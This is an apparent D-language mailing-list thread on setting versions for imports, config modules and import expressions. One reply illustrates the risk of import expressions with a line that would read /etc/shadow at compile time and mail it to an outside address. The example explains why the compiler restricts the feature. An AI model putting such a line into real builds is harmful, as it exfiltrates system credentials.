Setting versions for imports

[Bill Baxter]

BCS wrote:
> Reply to Bill,
> 
>> div0 wrote:
>>
>>> Jascha Wetzel wrote:
>>>
>>>> div0 wrote:
>>>>
>>>>> so you can't use a module as a config.h in that way
>>>>>
>>>>> besides what's wrong with passing them on the commandline?
>>>>>
>>>> it is inconvenient for some applications. the specs actually give
>>>> such an example:
>>>>
>>>> version (ProfessionalEdition)
>>>> {
>>>> version = FeatureA;
>>>> version = FeatureB;
>>>> version = FeatureC;
>>>> }
>>>> version (HomeEdition)
>>>> {
>>>> version = FeatureA;
>>>> }
>>>> you wouldn't want to specify that on the command line, and you
>>>> wouldn't want to duplicate that in each module that needs the
>>>> distinction.
>>>>
>>>>> If you really want to go that way, you could use static if's to
>>>>> achieve something similar I guess.
>>>>>
>>>> that does work for config imports, but not for the example where the
>>>> version of a module shall be set by the importing module.
>>>>
>>> Oh I see what you're getting at.
>>> No you can't do that because it's a bad idea.
>>> Each .d file needs to be individually compilable.
>>>
>>> You couldn't do that if a file needs to be included (imported) by
>>> some other file in order to make sense.
>>>
>>> You can achieve the same result by reordering your imports.
>>>
>>> The same applies with c++.
>>>
>>> #define SOME_DEFINE
>>> #include "somefile.hpp"
>>> void func() {
>>> somefile::function( 42 );
>>> }
>>> so ok the SOME_DEFINE can affect the contents of somefile.hpp, but it
>>> won't have any effect on somefile.cpp
>>>
>> There is that import expression thingy:
>>
>> --- module.d ---
>> mixin( import("config.d") );
>> ...
>> --- config.d ---
>> version (ProfessionalEdition)
>> {
>> version = FeatureA;
>> version = FeatureB;
>> version = FeatureC;
>> }
>> version (HomeEdition)
>> {
>> version = FeatureA;
>> }
>> But I think you have to give the compiler some switch to tell it it's
>> ok to use an import expression.  For "safety".
>>
>> --bb
>>
> 
> there is, just imagin what would happen if this were allowed:
> 
> SendMail(import("/etc/shadow"), "harker at gmail.com"); // now, how to get 
> them to build this as root??

Yeh, I'm just not convinced it's any more dangerous than a lot of other 
programs.  You have to get someone with root privilege to run something 
for you with your input as root *and* send you the output.

--bb